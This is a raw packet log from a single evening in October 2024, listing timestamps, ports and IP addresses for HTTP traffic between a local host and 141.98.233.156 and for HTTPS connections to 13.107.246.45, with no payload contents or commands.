Oct 6, 2024 22:33:16.059273005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059288025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059288025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059304953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059320927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059326887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059336901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059353113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059370041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059371948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059371948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059391022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059417963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059439898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059459925 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059925079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059941053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059954882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059969902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059983969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059984922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059983969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.060000896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.060014009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.060015917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.060031891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.060046911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.060053110 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.060061932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.060070992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.060077906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.060091972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.060096979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.060128927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.060158014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.078044891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.082969904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.180659056 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.181169987 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.181201935 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.181701899 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.181708097 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.204557896 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.204957962 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.204982042 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.205315113 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.205327034 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.258946896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.258970976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259036064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259037018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259068012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259088039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259092093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259110928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259141922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259151936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259162903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259197950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259217978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259234905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259253025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259268045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259289026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259308100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259433031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259448051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259462118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259479046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259493113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259497881 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259509087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259520054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259540081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259541988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259596109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259663105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259677887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259691954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259706974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259711027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259722948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259737968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259754896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259756088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259794950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259932995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259948969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.259974957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.259974957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260016918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260097027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260112047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260126114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260140896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260145903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260158062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260168076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260174036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260188103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260191917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260207891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260224104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260231018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260237932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260252953 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260255098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260273933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260288954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260324001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260504961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260519981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260556936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260577917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260590076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260607958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260623932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260637999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260639906 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260653019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260668993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260678053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260684013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260700941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260706902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260715961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260744095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260792971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.260965109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.260981083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261018038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261044979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261130095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261147022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261161089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261177063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261178017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261192083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261198997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261207104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261223078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261234999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261240005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261255026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261271000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261286020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261291027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261303902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261311054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261318922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261337042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261374950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261555910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261656046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261743069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261759043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261774063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261790037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261795044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261805058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261816978 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261821985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261836052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261841059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261856079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261871099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261887074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261898994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261898994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261900902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261918068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.261924028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261951923 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.261982918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.282696962 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.282839060 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.282902956 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.283086061 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.283109903 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.283128977 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.283135891 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.286436081 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.286458969 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.286606073 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.286696911 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.286703110 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.315511942 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.315573931 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.315640926 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.315821886 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.315859079 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.315886021 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.315901995 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.317899942 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.317950010 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.318037033 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.318125963 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.318140030 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.345690966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.345781088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.356462002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.361335993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.537542105 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.538237095 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.538249016 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.538664103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.538731098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.538800001 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.538805962 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.538816929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.538832903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.538849115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.538863897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.538873911 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.538878918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.538891077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.538943052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.538999081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539015055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539030075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539045095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539053917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539156914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539171934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539186954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539190054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539190054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539202929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539203882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539222002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539226055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539237976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539268970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539287090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539330959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539346933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539376020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539401054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539521933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539558887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539570093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539582968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539598942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539606094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539623022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539625883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539638996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539645910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539655924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539668083 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539673090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539689064 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539711952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539927959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539942980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539957047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539972067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.539974928 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.539987087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540000916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540008068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.540015936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540050983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.540061951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540071964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.540076971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540095091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540102959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.540126085 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.540144920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.540286064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540301085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540316105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540329933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540329933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.540344954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540350914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.540360928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540378094 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.540410042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.540452957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540469885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540482998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540498972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540501118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.540513992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540530920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540539980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.540580034 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.540791988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540836096 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.540956974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540972948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.540987015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541002035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541008949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.541018009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541021109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.541033030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541049957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541062117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.541083097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.541115046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.541310072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541325092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541338921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541353941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541357994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.541369915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541380882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.541415930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.541476965 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541492939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541507006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541522026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541531086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.541537046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541549921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.541553974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541568995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541588068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.541611910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541624069 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.541637897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541654110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541656017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.541668892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541683912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541687012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.541698933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541709900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.541714907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.541743994 CEST	49741	80	192.168.2.4	141.98.233.156
